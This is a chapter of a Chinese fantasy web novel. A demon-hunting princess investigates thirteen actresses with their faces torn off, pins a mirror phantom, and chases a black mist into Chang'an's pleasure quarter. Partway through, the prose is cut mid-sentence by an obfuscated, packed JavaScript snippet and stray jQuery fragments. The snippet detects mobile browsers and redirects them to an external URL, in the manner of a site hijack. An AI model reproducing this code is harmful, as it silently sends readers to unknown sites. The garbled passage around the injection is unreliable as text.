30. 幻妖再现

作品:《长安捉妖司

    瞬移符眨眼燃尽,李婉雁与谢常安便闪现在出事的地方。


    这里是乐游原中最大的戏场,虽在归门日禁娱期间,戏场门外依旧围了很多百姓,那队急速赶来的金吾卫,此刻正在路上驱赶百姓,维护治安。


    有人守在戏场外,见他们突然出现,皆是一惊,赶忙将人拦下,“来者何人!”


    李婉雁拿出捉妖司的凭证,“捉妖司办案。”


    那人穿着一身士人所穿的月白色直裰,头上戴着最简单的黑色幞头。


    原本看上去挺普通的,可耳后别着的一朵菊花,却让他整个人显得绰约了几分。


    长安多了一个捉妖司,普通百姓或许不知,这些读书识字的士人却是知道的。


    他将李婉雁两人上下打量了一番,视线落在了李婉雁腰间的鞭子上。


    听闻这位大瑞唯一的公主,捉妖司司使,不喜华贵衣裳,就爱简朴劲装,腰间还时常挂着一条暗红色的鞭子。


    眼前这位,看上去确实如此。


    再加上方才她突然出现,士人便已然信了九分。


    他收回防备,放开一条路,“殿下请随我来。”


    他一走开,便有另外一个士人顶替拦门,就连李婉雁都惊奇这群读书的士人,竟还有这番井然有序的样子。


    那士人引着两人绕过水台侧廊,到达内室。


    一股熟悉的腐臭味传来。


    两人相对一视。


    “阿雁,没想到你们来得这么快!”


    李沐一脸铁青地从内室迎了上来。


    李婉雁蹙眉,“二兄怎会在此?”


    李沐道:“今晚打算与几位友人登高夜游,才至附近就听到有惨叫声从里面传出,所以便过来看看。”


    他拧着眉,脸色愈发不佳,“死了很多人。”


    这座戏场名为春闺苑,专门唱的是女子戏。


    近日禁娱,班主便拉着一众戏伶排新戏,李沐等人赶来时,她们都还没出来走戏,就一个个死在了内室里。


    李婉雁走进去一看,果不其然,内室里横陈了好多尸体,粗略数了一番,总共十三具,有大有小,有老有少。


    大部分人像是刚刚梳好头发,还有几个连衣裳都没穿好。


    每具尸体的面皮全都被撕走,腐臭味就是从她们面部的伤口中传出来的。


    那东西才刚下手,而且很急。


    李婉雁在每具尸首上都探了一番。


    和白嘉一样,三魂七魄全都没了。


    她站起身,环顾了一圈。


    屋子的角落摆满了装衣裳与首饰的箱笼,箱笼旁边还有很多衣架子,架子上同样挂满了唱戏的戏服,几乎每一件都十分精致华丽。


    除此之外,屋子里还有一面很大的梳妆镜,镜子面前的梳妆台上摆了各式各样的头面首饰胭脂水粉,还有唱戏的油彩。


    台面上还放了一小盆沾满油彩的水,盆沿挂着一块沾了油彩的白叠布,李婉雁碰了碰盆边,水还是温的。


    这个位置是头牌桂芝坐的。


    而且看样子,方才桂芝刚梳妆完。


    她又看向那面梳妆镜。


    那是一面非常普通的镜子,因着表面光滑平整,又十分朴素,深受戏子们的喜爱。


    只是,李婉雁总觉得这面镜子有些古怪。


    下一刻,她唤来抚宁,直挺挺地朝那面镜子刺了过去。


    哐当一声响,有一丝浅白色的雾气从镜子里逃了出来。


    李婉雁冷哼一声,唤起抚宁的捉妖纹丢了出去,又噔得一声,抚宁穿过那东西的七寸,死死将其钉在了卧室的墙面上。


    那东西受到了惊吓,直接幻化成了一个裹着透明雾气的人形。


    呵,竟是一个成了人形的幻妖。


    幻妖依附妖魔而生,不会说话,也没有自己的思想,但它很会模仿与迷惑。


    它此刻的人形模样,仿的就是死去的桂芝。


    许是它的道行不深,只仿其形却仿不了其神,那双手还是幻妖的形状,长至过膝,指节纤长。


    李沐闻声而至,饶是看多了光怪陆离的故事,还是不由心中激荡。


    “阿雁,这是什么东西?”


    李婉雁解释道,“幻妖,依附妖魔而生的东西。”


    李沐问,“是它在作怪?”


    李婉雁摇头,心里却想着另外一件事。


    幻妖依附妖魔而生,可如今只找到了幻妖,那被幻妖依附的妖魔呢?


    是藏起来了还是逃走了?


    还有镜子。


    桂芝用的镜子与秦王府上的那三面镜子,无论是款式还是材质都不相同。


    这镜子在这些案件中到底起的什么作用?


    正思索着,谢常安已经端起镜子仔细端详了起来。


    “我听闻白大娘子也是这么死的。”


    李沐捂住鼻子,试图阻隔这冲鼻的腐臭味,“也是这东西的缘故?”


    “幻妖只会迷惑人,不会杀人。”


    李婉雁解释完,再一次检查起卧室来。


    李沐也跟着她一道检查卧室,看到卧室里琳琅满目的戏服,不由感叹道:“听闻中元节之后,桂芝的新戏就要开唱了,啧,真是可惜。”


    李婉雁听出了他对戏场与桂芝的熟稔程度,转身问他,“二兄对这里很熟悉吗?”


    李沐道,“我常与友人来此听戏。”


    李婉雁走向谢常安,“怎么样?”


    谢常安微微摇头,“这东西很擅伪装。”


    李婉雁神色愈发凝重了。


    突然,李沐惊呼了一声。


    李婉雁闻声,瞬移到他身边,“二兄怎么了?”


    李沐指着挂着层叠衣裳的衣架后头,道,“那里面还有一个,而且,我看到她动了。”


    李婉雁撩开衣裳往里头一看,里面正躺着一个七八岁的小丫头。


    她发髻四散,身上的衣裳都还没来得及换下来,看上去很是凌乱。


    与屋子里其他尸体不同的是,她的面皮还在。


    虽然面色铁青毫无血色,面皮的边缘处有一道又长又深的划痕,此刻正在流血。


    李婉雁立即将她从后头挖了出来,伸手在她体内探了探。


    只是晕厥,三魂七魄还在。


    想来那东西还没来得及吸食她的魂魄,撕去她的面皮。


    若是如此……


    李婉雁眼底闪过一丝光亮。


    谢常安像是知道她要做什么,向她伸手,“画几张符给我。”


    李婉雁二话没说,从乾坤袋中拿出符纸,引出灵力画了好几张。


    她从中抽出一张给李沐,“二兄,这张符可保你半个时辰内不受幻妖迷惑,这里的事就交给你了。”


    说话间,她左手燃起照火决,朝幻妖的脑袋上砸了过去。


    火红的火焰将夜幕之下的内室照得犹如白昼。


    轰的一声响,幻妖的脑袋几乎是一触碰到这火红色的火焰,便炸开了。


    三昧真火的火焰就像是一摊粘人的泥,一旦沾上就甩不开了。


    幻妖下意识地要逃,方才还温吞不动的身躯突然剧烈扭动了起来,仿佛一条突然离开水的鱼。


    李婉雁冷冷一笑,果然!


    她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916460|158196||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    将抚宁拔了出来,一股黑色的雾气自抚宁所钉之处窜出,还没来得及去抓,它就如同一道闪电,闪出了卧室,往北而去。


    李婉雁二话不说,追了上去。


    李沐与他那群听到动静进来查探的好友们,被李婉雁这一系列的操作惊得目瞪口呆,好半晌都说不出话来。


    谢常安似是早就习惯了他们的样子,只默默地在地上的尸体上防止隔灵符。


    这些尸体刚死不久,腐臭味还没那么浓重,可当它们反应过来自己枉死的惨状,必定怨气丛生。


    届时,这里必定臭味熏天。


    谢常安放下最后一张隔灵符,对李沐道:“二殿下,劳烦你派些人,将这些尸体送去捉妖司。”


    李沐连连点头,立即找来了正在外头维护治安的金吾卫。


    内室中人死得太惨,好在谢常安放下了隔灵符,将从尸体里散发出的腐臭味隔绝了,但这不代表能将尸体的死状隔绝。


    一众人忍着恶心,将内室里的十三具尸体搬了出去。


    “二殿下,这具尸首怎么办?”他指的是刚刚从衣架后面拉出来的那个小丫头。


    谢常安摆手,“这个不急。”


    一众人不约而同地松了一口气,李沐问:“她像是还活着,要不要去请个医者?”


    谢常安依旧摆手,“不必。”


    说着,他抽出一张符纸,压在了那小丫头的额头上。


    天色早已擦黑,苍穹之上独留一轮圆月,皎洁的月华撒在大地之上,形成一层薄薄冰冷的纱,明明很明亮,却依旧叫人看不清楚。


    长安坊市的门早已关闭,却有一个黑色的身影追着一抹黑色的雾,穿梭在各个坊市之间。


    未免引起百姓恐慌,李婉雁追得小心翼翼地,即便有几回快要追上了,却还是因着有百姓居住的院子就在附近,而放弃强攻。


    她只能这样紧追不舍。


    双方在长安坊市你追我赶了快半个时辰,终于那黑雾似乎意识到了什么,一个转弯,竟是一头钻进了一个满是脂粉味与丝竹管弦之声的坊市。


    李婉雁边追边暗叫不好,那东西钻的是长安城晚上最热闹的坊市——平康坊。


    长安宵禁,坊市之门关闭之后,街上便不许人再走动喧哗,但在坊市内部却能照常热闹。


    平康坊是长安最有名的烟花之地,坊内有各色各样的花楼、秦楼、楚馆、象姑馆和青官小院。


    这些都是消遣的地方,是以每天晚上都不免有一些爱夜夜笙歌的客人,在这些地方流连、留宿,甚至玩乐到天亮。


    这几日是归门日,虽没有往日那般热闹,坊里的人却依旧很多。


    那团黑雾钻进平康坊后,仗着天黑人多,不过几个拐弯,就将李婉雁远远甩在了后面。


    好在李婉雁机警,立即判断出那团黑雾的去向,纵身一跃跳到了前头一个青官小院的屋顶,又一个翻身,追上了它。


    然而也不知怎么得,当李婉雁再次追上去时,那东西在巷子里连续转了好几个弯后,竟然在一个空空荡荡的青官小院里,不见了。


    李婉雁轻巧地落在了院子里的一棵大树下,隐约有几声琵琶古琴声从不远处悠悠传来,显得这个院子愈发地安静。


    正此时,不远处的水榭里走出几个小娘子,她们说说笑笑地往正院而去。


    突然,她们中有一人转过身,朝李婉雁的方向喊了一句,“什么人在哪里?”


    被她这么一喊,其余人也朝李婉雁的方向看来。


    看见树下的李婉雁时,她们无不面露怒容,连连朝院外喊道:“来人啊!抓贼!抓刺客!”